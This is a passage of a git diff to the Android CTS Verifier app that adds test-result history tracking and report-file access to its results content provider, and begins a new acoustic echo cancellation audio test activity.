             if (item.isTest() && (!mTestResults.containsKey(item.testName)
@@ -451,7 +485,7 @@
         }
     }
 
-    private static Object deserialize(byte[] bytes) {
+    public static Object deserialize(byte[] bytes) {
         if (bytes == null || bytes.length == 0) {
             return null;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 07208dd..9f867d5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -17,6 +17,7 @@
 package com.android.cts.verifier;
 
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -38,11 +39,13 @@
     private static final String TEST_RESULT = "result";
     private static final String TEST_DETAILS = "details";
     private static final String TEST_METRICS = "metrics";
+    private static final String TEST_HISTORY_COLLECTION = "historyCollection";
 
     private final String mName;
     private final int mResult;
     private final String mDetails;
     private final ReportLog mReportLog;
+    private final TestResultHistoryCollection mHistoryCollection;
 
     /** Sets the test activity's result to pass. */
     public static void setPassedResult(Activity activity, String testId, String testDetails) {
@@ -53,7 +56,14 @@
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
-                testDetails, reportLog));
+            testDetails, reportLog, null /*history*/));
+    }
+
+    /** Sets the test activity's result to pass including a test report log result and history. */
+    public static void setPassedResult(Activity activity, String testId, String testDetails,
+            ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
+                testDetails, reportLog, historyCollection));
     }
 
     /** Sets the test activity's result to failed. */
@@ -65,22 +75,30 @@
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
-                testDetails, reportLog));
+                testDetails, reportLog, null /*history*/));
+    }
+
+    /** Sets the test activity's result to failed including a test report log result and history. */
+    public static void setFailedResult(Activity activity, String testId, String testDetails,
+            ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
+            testDetails, reportLog, historyCollection));
     }
 
     public static Intent createResult(Activity activity, int testResult, String testName,
-            String testDetails, ReportLog reportLog) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
         Intent data = new Intent(activity, activity.getClass());
-        addResultData(data, testResult, testName, testDetails, reportLog);
+        addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
         return data;
     }
 
     public static void addResultData(Intent intent, int testResult, String testName,
-            String testDetails, ReportLog reportLog) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
         intent.putExtra(TEST_NAME, testName);
         intent.putExtra(TEST_RESULT, testResult);
         intent.putExtra(TEST_DETAILS, testDetails);
         intent.putExtra(TEST_METRICS, reportLog);
+        intent.putExtra(TEST_HISTORY_COLLECTION, historyCollection);
     }
 
     /**
@@ -92,15 +110,20 @@
         int result = data.getIntExtra(TEST_RESULT, TEST_RESULT_NOT_EXECUTED);
         String details = data.getStringExtra(TEST_DETAILS);
         ReportLog reportLog = (ReportLog) data.getSerializableExtra(TEST_METRICS);
-        return new TestResult(name, result, details, reportLog);
+        TestResultHistoryCollection historyCollection =
+            (TestResultHistoryCollection) data.getSerializableExtra(TEST_HISTORY_COLLECTION);
+        return new TestResult(name, result, details, reportLog, historyCollection);
     }
 
     private TestResult(
-            String name, int result, String details, ReportLog reportLog) {
+            String name, int result, String details, ReportLog reportLog,
+            TestResultHistoryCollection historyCollection) {
         this.mName = name;
         this.mResult = result;
         this.mDetails = details;
         this.mReportLog = reportLog;
+        this.mHistoryCollection =
+            historyCollection == null ? new TestResultHistoryCollection() : historyCollection;
     }
 
     /** Return the name of the test like "com.android.cts.verifier.foo.FooTest" */
@@ -122,4 +145,9 @@
     public ReportLog getReportLog() {
         return mReportLog;
     }
+
+    /** @return the {@link TestResultHistoryCollection} containing test history */
+    public TestResultHistoryCollection getHistoryCollection() {
+        return mHistoryCollection;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
new file mode 100644
index 0000000..0e7160c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -0,0 +1,81 @@
+package com.android.cts.verifier;
+
+import com.android.compatibility.common.util.TestResultHistory;
+
+import java.io.Serializable;
+import java.util.AbstractMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+public class TestResultHistoryCollection implements Serializable {
+
+    private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
+
+    /**
+     * Covert object to set.
+     *
+     * @return A set of test result history.
+     */
+    public Set<TestResultHistory> asSet() {
+        return mHistoryCollection;
+    }
+
+    /**
+     * Add a test result history with test name, start time and end time.
+     *
+     * @param test a string of test name.
+     * @param start start time of a test.
+     * @param end end time of a test.
+     */
+    public void add(String test, long start, long end) {
+        Set<Map.Entry> duration = new HashSet<>();
+        duration.add(new AbstractMap.SimpleEntry<>(start, end));
+        mHistoryCollection.add(new TestResultHistory(test, duration));
+    }
+
+    /**
+     * Add test result histories for tests containing test name and a set of execution time.
+     *
+     * @param test test name.
+     * @param durations set of start and end time.
+     */
+    public void addAll(String test, Set<Map.Entry> durations) {
+        TestResultHistory history = new TestResultHistory(test, durations);
+        boolean match = false;
+        for (TestResultHistory resultHistory: mHistoryCollection) {
+            if (resultHistory.getTestName().equals(test)) {
+                resultHistory.getDurations().addAll(durations);
+                match = true;
+                break;
+            }
+        }
+        if (match == false) {
+            mHistoryCollection.add(history);
+        }
+    }
+
+    /**
+     * Merge test with its sub-tests result histories.
+     *
+     * @param prefix optional test name prefix to apply.
+     * @param resultHistoryCollection a set of test result histories.
+     */
+    public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
+       if (resultHistoryCollection != null) {
+            resultHistoryCollection.asSet().forEach(t-> addAll(
+                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
+       }
+    }
+
+    /**
+     * Merge test with its sub-tests result histories.
+     *
+     * @param prefix optional test name prefix to apply.
+     * @param resultHistories a list of test result history collection.
+     */
+    public void merge(String prefix, List<TestResultHistoryCollection> resultHistories) {
+        resultHistories.forEach(resultHistoryCollection -> merge(prefix, resultHistoryCollection));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index 64c04eb..4bbb12b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.verifier;
 
-import com.android.compatibility.common.util.ReportLog;
-
 import android.app.backup.BackupManager;
 import android.content.ContentProvider;
 import android.content.ContentResolver;
@@ -25,22 +23,65 @@
 import android.content.Context;
 import android.content.UriMatcher;
 import android.database.Cursor;
+import android.database.MatrixCursor;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteOpenHelper;
 import android.database.sqlite.SQLiteQueryBuilder;
 import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+
+import com.android.compatibility.common.util.ReportLog;
 
 import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
+import java.util.Arrays;
+import java.util.Comparator;
 
-/** {@link ContentProvider} that provides read and write access to the test results. */
+import androidx.annotation.NonNull;
+
+/**
+ * {@link ContentProvider} that provides read and write access to the test results.
+ */
 public class TestResultsProvider extends ContentProvider {
 
+    static final String _ID = "_id";
+    /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
+    static final String COLUMN_TEST_NAME = "testname";
+    /** Integer test result corresponding to constants in {@link TestResult}. */
+    static final String COLUMN_TEST_RESULT = "testresult";
+    /** Boolean indicating whether the test info has been seen. */
+    static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
+    /** String containing the test's details. */
+    static final String COLUMN_TEST_DETAILS = "testdetails";
+    /** ReportLog containing the test result metrics. */
+    static final String COLUMN_TEST_METRICS = "testmetrics";
+    /** TestResultHistory containing the test run histories. */
+    static final String COLUMN_TEST_RESULT_HISTORY = "testresulthistory";
+
+    /**
+     * Report saved location
+     */
+    private static final String REPORTS_PATH = "reports";
     private static final String RESULTS_PATH = "results";
+    private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
+    private static final int RESULTS_ALL = 1;
+    private static final int RESULTS_ID = 2;
+    private static final int RESULTS_TEST_NAME = 3;
+    private static final int REPORT = 4;
+    private static final int REPORT_ROW = 5;
+    private static final int REPORT_FILE_NAME = 6;
+    private static final int REPORT_LATEST = 7;
+    private static final String TABLE_NAME = "results";
+    private SQLiteOpenHelper mOpenHelper;
+    private BackupManager mBackupManager;
 
     /**
      * Get the URI from the result content.
+     *
      * @param context
      * @return Uri
      */
@@ -52,6 +93,7 @@
 
     /**
      * Get the URI from the test name.
+     *
      * @param context
      * @param testName
      * @return Uri
@@ -61,33 +103,46 @@
         return Uri.withAppendedPath(getResultContentUri(context), testName);
     }
 
-    static final String _ID = "_id";
+    static void setTestResult(Context context, String testName, int testResult,
+        String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        ContentValues values = new ContentValues(2);
+        values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
+        values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
+        values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
+        values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+        values.put(TestResultsProvider.COLUMN_TEST_RESULT_HISTORY, serialize(historyCollection));
 
-    /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
-    static final String COLUMN_TEST_NAME = "testname";
+        final Uri uri = getResultContentUri(context);
+        ContentResolver resolver = context.getContentResolver();
+        int numUpdated = resolver.update(uri, values,
+                TestResultsProvider.COLUMN_TEST_NAME + " = ?",
+                new String[]{testName});
 
-    /** Integer test result corresponding to constants in {@link TestResult}. */
-    static final String COLUMN_TEST_RESULT = "testresult";
+        if (numUpdated == 0) {
+            resolver.insert(uri, values);
+        }
+    }
 
-    /** Boolean indicating whether the test info has been seen. */
-    static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
-
-    /** String containing the test's details. */
-    static final String COLUMN_TEST_DETAILS = "testdetails";
-
-    /** ReportLog containing the test result metrics. */
-    static final String COLUMN_TEST_METRICS = "testmetrics";
-
-    private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
-    private static final int RESULTS_ALL = 1;
-    private static final int RESULTS_ID = 2;
-    private static final int RESULTS_TEST_NAME = 3;
-
-    private static final String TABLE_NAME = "results";
-
-    private SQLiteOpenHelper mOpenHelper;
-
-    private BackupManager mBackupManager;
+    private static byte[] serialize(Object o) {
+        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
+        ObjectOutputStream objectOutput = null;
+        try {
+            objectOutput = new ObjectOutputStream(byteStream);
+            objectOutput.writeObject(o);
+            return byteStream.toByteArray();
+        } catch (IOException e) {
+            return null;
+        } finally {
+            try {
+                if (objectOutput != null) {
+                    objectOutput.close();
+                }
+                byteStream.close();
+            } catch (IOException e) {
+                // Ignore close exception.
+            }
+        }
+    }
 
     @Override
     public boolean onCreate() {
@@ -96,43 +151,19 @@
         URI_MATCHER.addURI(authority, RESULTS_PATH, RESULTS_ALL);
         URI_MATCHER.addURI(authority, RESULTS_PATH + "/#", RESULTS_ID);
         URI_MATCHER.addURI(authority, RESULTS_PATH + "/*", RESULTS_TEST_NAME);
+        URI_MATCHER.addURI(authority, REPORTS_PATH, REPORT);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/latest", REPORT_LATEST);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/#", REPORT_ROW);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/*", REPORT_FILE_NAME);
 
         mOpenHelper = new TestResultsOpenHelper(getContext());
         mBackupManager = new BackupManager(getContext());
         return false;
     }
 
-    private static class TestResultsOpenHelper extends SQLiteOpenHelper {
-
-        private static final String DATABASE_NAME = "results.db";
-
-        private static final int DATABASE_VERSION = 6;
-
-        TestResultsOpenHelper(Context context) {
-            super(context, DATABASE_NAME, null, DATABASE_VERSION);
-        }
-
-        @Override
-        public void onCreate(SQLiteDatabase db) {
-            db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
-                    + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    + COLUMN_TEST_NAME + " TEXT, "
-                    + COLUMN_TEST_RESULT + " INTEGER,"
-                    + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
-                    + COLUMN_TEST_DETAILS + " TEXT,"
-                    + COLUMN_TEST_METRICS + " BLOB);");
-        }
-
-        @Override
-        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
-            db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
-            onCreate(db);
-        }
-    }
-
     @Override
     public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
+                        String sortOrder) {
         SQLiteQueryBuilder query = new SQLiteQueryBuilder();
         query.setTables(TABLE_NAME);
 
@@ -153,6 +184,19 @@
                 query.appendWhere("\"" + uri.getPathSegments().get(1) + "\"");
                 break;
 
+            case REPORT:
+                final MatrixCursor cursor = new MatrixCursor(new String[]{"filename"});
+                for (String filename : getFileList()) {
+                    cursor.addRow(new Object[]{filename});
+                }
+                return cursor;
+
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report query not supported. Use content read.");
+
             default:
                 throw new IllegalArgumentException("Unknown URI: " + uri);
         }
@@ -163,6 +207,19 @@
 
     @Override
     public Uri insert(Uri uri, ContentValues values) {
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report insert not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report insert not supported. Use content read.");
+            default:
+                break;
+        }
         SQLiteDatabase db = mOpenHelper.getWritableDatabase();
         long id = db.insert(TABLE_NAME, null, values);
         getContext().getContentResolver().notifyChange(uri, null);
@@ -195,7 +252,14 @@
                     selection = testNameSelection;
                 }
                 break;
-
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report update not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report update not supported. Use content read.");
             default:
                 throw new IllegalArgumentException("Unknown URI: " + uri);
         }
@@ -211,6 +275,20 @@
 
     @Override
     public int delete(Uri uri, String selection, String[] selectionArgs) {
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report delete not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report delete not supported. Use content read.");
+            default:
+                break;
+        }
+
         SQLiteDatabase db = mOpenHelper.getWritableDatabase();
         int numDeleted = db.delete(TABLE_NAME, selection, selectionArgs);
         if (numDeleted > 0) {
@@ -225,43 +303,114 @@
         return null;
     }
 
-    static void setTestResult(Context context, String testName, int testResult,
-            String testDetails, ReportLog reportLog) {
-        ContentValues values = new ContentValues(2);
-        values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
-        values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
-        values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
-        values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+    @Override
+    public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode)
+            throws FileNotFoundException {
+        String fileName;
+        String[] fileList;
+        File file;
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT_ROW:
+                int rowId = Integer.parseInt(uri.getPathSegments().get(1));
+                file = getFileByIndex(rowId);
+                break;
 
-        final Uri uri = getResultContentUri(context);
-        ContentResolver resolver = context.getContentResolver();
-        int numUpdated = resolver.update(uri, values,
-                TestResultsProvider.COLUMN_TEST_NAME + " = ?",
-                new String[] {testName});
+            case REPORT_FILE_NAME:
+                fileName = uri.getPathSegments().get(1);
+                file = getFileByName(fileName);
+                break;
 
-        if (numUpdated == 0) {
-            resolver.insert(uri, values);
+            case REPORT_LATEST:
+                file = getLatestFile();
+                break;
+
+            case REPORT:
+                throw new IllegalArgumentException("Read not supported. Use content query.");
+
+            case RESULTS_ALL:
+            case RESULTS_ID:
+            case RESULTS_TEST_NAME:
+                throw new IllegalArgumentException("Read not supported for URI: " + uri);
+
+            default:
+                throw new IllegalArgumentException("Unknown URI: " + uri);
+        }
+        try {
+            FileInputStream fis = new FileInputStream(file);
+            return ParcelFileDescriptor.dup(fis.getFD());
+        } catch (IOException e) {
+            throw new IllegalArgumentException("Cannot open file.");
         }
     }
 
-    private static byte[] serialize(Object o) {
-        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
-        ObjectOutputStream objectOutput = null;
-        try {
-            objectOutput = new ObjectOutputStream(byteStream);
-            objectOutput.writeObject(o);
-            return byteStream.toByteArray();
-        } catch (IOException e) {
-            return null;
-        } finally {
-            try {
-                if (objectOutput != null) {
-                    objectOutput.close();
-                }
-                byteStream.close();
-            } catch (IOException e) {
-                // Ignore close exception.
+
+    private File getFileByIndex(int index) {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No report saved at " + index + ".");
+        }
+        return files[index];
+    }
+
+    private File getFileByName(String fileName) {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No reports saved.");
+        }
+        for (File file : files) {
+            if (fileName.equals(file.getName())) {
+                return file;
             }
         }
+        throw new IllegalArgumentException(fileName + " not found.");
+    }
+
+    private File getLatestFile() {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No reports saved.");
+        }
+        return files[files.length - 1];
+    }
+
+    private String[] getFileList() {
+        return Arrays.stream(getFiles()).map(File::getName).toArray(String[]::new);
+    }
+
+    private File[] getFiles() {
+        File dir = getContext().getDir(ReportExporter.REPORT_DIRECTORY, Context.MODE_PRIVATE);
+        File[] files = dir.listFiles();
+        Arrays.sort(files, Comparator.comparingLong(File::lastModified));
+        return files;
+    }
+
+    private static class TestResultsOpenHelper extends SQLiteOpenHelper {
+
+        private static final String DATABASE_NAME = "results.db";
+
+        private static final int DATABASE_VERSION = 6;
+
+        TestResultsOpenHelper(Context context) {
+            super(context, DATABASE_NAME, null, DATABASE_VERSION);
+        }
+
+        @Override
+        public void onCreate(SQLiteDatabase db) {
+            db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
+                    + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
+                    + COLUMN_TEST_NAME + " TEXT, "
+                    + COLUMN_TEST_RESULT + " INTEGER,"
+                    + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
+                    + COLUMN_TEST_DETAILS + " TEXT,"
+                    + COLUMN_TEST_METRICS + " BLOB,"
+                    + COLUMN_TEST_RESULT_HISTORY + " BLOB);");
+        }
+
+        @Override
+        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+            db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
+            onCreate(db);
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 7d3026a..0f3dc5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -29,6 +29,7 @@
 import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.MetricsXmlSerializer;
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
@@ -38,9 +39,16 @@
 import java.io.IOException;
 import java.text.DateFormat;
 import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.ArrayList;
 import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
 import java.util.Locale;
+import java.util.Map;
 import java.util.Map.Entry;
+import java.util.Set;
 
 /**
  * Helper class for creating an {@code InvocationResult} for CTS result generation.
@@ -135,6 +143,27 @@
                 if (reportLog != null) {
                     currentTestResult.setReportLog(reportLog);
                 }
+
+                TestResultHistoryCollection historyCollection = mAdapter.getHistoryCollection(i);
+                if (historyCollection != null) {
+                    // Get non-terminal prefixes.
+                    Set<String> prefixes = new HashSet<>();
+                    for (TestResultHistory history: historyCollection.asSet()) {
+                        Arrays.stream(history.getTestName().split(":")).reduce(
+                            (total, current) -> { prefixes.add(total);
+                            return total + ":" + current;
+                        });
+                    }
+
+                    // Filter out non-leaf test histories.
+                    List<TestResultHistory> leafTestHistories = new ArrayList<TestResultHistory>();
+                    for (TestResultHistory history: historyCollection.asSet()) {
+                        if (!prefixes.contains(history.getTestName())) {
+                            leafTestHistories.add(history);
+                        }
+                    }
+                    currentTestResult.setTestResultHistories(leafTestHistories);
+                }
             }
         }
         moduleResult.setDone(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
new file mode 100644
index 0000000..636dc2b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -0,0 +1,517 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.media.*;
+import android.media.audiofx.AcousticEchoCanceler;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.audio.wavelib.*;
+
+public class AudioAEC extends AudioFrequencyActivity implements View.OnClickListener {
+    private static final String TAG = "AudioAEC";
+
+    private static final int TEST_NONE = -1;
+    private static final int TEST_AEC = 0;
+    private static final int TEST_COUNT = 1;
+    private static final float MAX_VAL = (float)(1 << 15);
+
+    private int mCurrentTest = TEST_NONE;
+    private LinearLayout mLinearLayout;
+    private Button mButtonTest;
+    private Button mButtonMandatoryYes;
+    private Button mButtonMandatoryNo;
+    private ProgressBar mProgress;
+    private TextView mResultTest;
+    private boolean mTestAECPassed;
+    private SoundPlayerObject mSPlayer;
+    private SoundRecorderObject mSRecorder;
+    private AcousticEchoCanceler mAec;
+
+    private boolean mMandatory = true;
+
+    private final int mBlockSizeSamples = 4096;
+    private final int mSamplingRate = 48000;
+    private final int mSelectedRecordSource = MediaRecorder.AudioSource.VOICE_COMMUNICATION;
+
+    private final int TEST_DURATION_MS = 8000;
+    private final int SHOT_FREQUENCY_MS = 200;
+    private final int CORRELATION_DURATION_MS = TEST_DURATION_MS - 3000;
+    private final int SHOT_COUNT_CORRELATION = CORRELATION_DURATION_MS/SHOT_FREQUENCY_MS;
+    private final int SHOT_COUNT = TEST_DURATION_MS/SHOT_FREQUENCY_MS;
+
+    private final double TEST_THRESHOLD_AEC_ON = 0.4; //From SoloTester
+    private final double TEST_THRESHOLD_AEC_OFF = 0.6;
+    private RmsHelper mRMSRecorder1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+    private RmsHelper mRMSRecorder2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+
+    private RmsHelper mRMSPlayer1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+    private RmsHelper mRMSPlayer2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+
+    private Thread mTestThread;
+
+    //RMS helpers
+    public class RmsHelper {
+        private double mRmsCurrent;
+        public int mBlockSize;
+        private int mShoutCount;
+        public boolean mRunning = false;
+
+        private short[] mAudioShortArray;
+
+        private DspBufferDouble mRmsSnapshots;
+        private int mShotIndex;
+
+        public RmsHelper(int blockSize, int shotCount) {
+            mBlockSize = blockSize;
+            mShoutCount = shotCount;
+            reset();
+        }
+
+        public void reset() {
+            mAudioShortArray = new short[mBlockSize];
+            mRmsSnapshots = new DspBufferDouble(mShoutCount);
+            mShotIndex = 0;
+            mRmsCurrent = 0;
+            mRunning = false;
+        }
+
+        public void captureShot() {
+            if (mShotIndex >= 0 && mShotIndex < mRmsSnapshots.getSize()) {
+                mRmsSnapshots.setValue(mShotIndex++, mRmsCurrent);
+            }
+        }
+
+        public void setRunning(boolean running) {
+            mRunning = running;
+        }
+
+        public double getRmsCurrent() {
+            return mRmsCurrent;
+        }
+
+        public DspBufferDouble getRmsSnapshots() {
+            return mRmsSnapshots;
+        }
+
+        public boolean updateRms(PipeShort pipe, int channelCount, int channel) {
+            if (mRunning) {
+                int samplesAvailable = pipe.availableToRead();
+                while (samplesAvailable >= mBlockSize) {
+                    pipe.read(mAudioShortArray, 0, mBlockSize);
+
+                    double rmsTempSum = 0;
+                    int count = 0;
+                    for (int i = channel; i < mBlockSize; i += channelCount) {
+                        float value = mAudioShortArray[i] / MAX_VAL;
+
+                        rmsTempSum += value * value;
+                        count++;
+                    }
+                    float rms = count > 0 ? (float)Math.sqrt(rmsTempSum / count) : 0f;
+
+                    double alpha = 0.9;
+                    double total_rms = rms * alpha + mRmsCurrent * (1.0f - alpha);
+                    mRmsCurrent = total_rms;
+
+                    samplesAvailable = pipe.availableToRead();
+                }
+                return true;
+            }
+            return false;
+        }
+    }
+
+    //compute Acoustic Coupling Factor
+    private double computeAcousticCouplingFactor(DspBufferDouble buffRmsPlayer,
+                                                 DspBufferDouble buffRmsRecorder,
+                                                 int firstShot, int lastShot) {
+        int len = Math.min(buffRmsPlayer.getSize(), buffRmsRecorder.getSize());
+
+        firstShot = Math.min(firstShot, 0);
+        lastShot = Math.min(lastShot, len -1);
+
+        int actualLen = lastShot - firstShot + 1;
+
+        double maxValue = 0;
+        if (actualLen > 0) {
+            DspBufferDouble rmsPlayerdB = new DspBufferDouble(actualLen);
+            DspBufferDouble rmsRecorderdB = new DspBufferDouble(actualLen);
+            DspBufferDouble crossCorr = new DspBufferDouble(actualLen);
+
+            for (int i = firstShot, index = 0; i <= lastShot; ++i, ++index) {
+                double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), -120);
+                rmsPlayerdB.setValue(index, valPlayerdB);
+                double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]), -120);
+                rmsRecorderdB.setValue(index, valRecorderdB);
+            }
+
+            //cross correlation...
+            if (DspBufferMath.crossCorrelation(crossCorr, rmsPlayerdB, rmsRecorderdB) !=
+                    DspBufferMath.MATH_RESULT_SUCCESS) {
+                Log.v(TAG, "math error in cross correlation");
+            }
+
+            for (int i = 0; i < len; i++) {
+                if (Math.abs(crossCorr.mData[i]) > maxValue) {
+                    maxValue = Math.abs(crossCorr.mData[i]);
+                }
+            }
+        }
+        return maxValue;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.audio_aec_activity);
+
+        //
+        mLinearLayout = (LinearLayout)findViewById(R.id.audio_aec_test_layout);
+        mButtonMandatoryYes = (Button) findViewById(R.id.audio_aec_mandatory_yes);
+        mButtonMandatoryYes.setOnClickListener(this);
+        mButtonMandatoryNo = (Button) findViewById(R.id.audio_aec_mandatory_no);
+        mButtonMandatoryNo.setOnClickListener(this);
+        enableUILayout(mLinearLayout, false);
+
+        // Test
+        mButtonTest = (Button) findViewById(R.id.audio_aec_button_test);
+        mButtonTest.setOnClickListener(this);
+        mProgress = (ProgressBar) findViewById(R.id.audio_aec_test_progress_bar);
+        mResultTest = (TextView) findViewById(R.id.audio_aec_test_result);
+
+        showView(mProgress, false);
+
+        mSPlayer = new SoundPlayerObject(false, mBlockSizeSamples) {
+
+            @Override
+            public void periodicNotification(AudioTrack track) {
+                int channelCount = getChannelCount();
+                mRMSPlayer1.updateRms(mPipe, channelCount, 0); //Only updated if running
+                mRMSPlayer2.updateRms(mPipe, channelCount, 0);
+            }
+        };
+
+        mSRecorder = new SoundRecorderObject(mSamplingRate, mBlockSizeSamples,
+                mSelectedRecordSource) {
+            @Override
+            public void periodicNotification(AudioRecord recorder) {
+                mRMSRecorder1.updateRms(mPipe, 1, 0); //always 1 channel
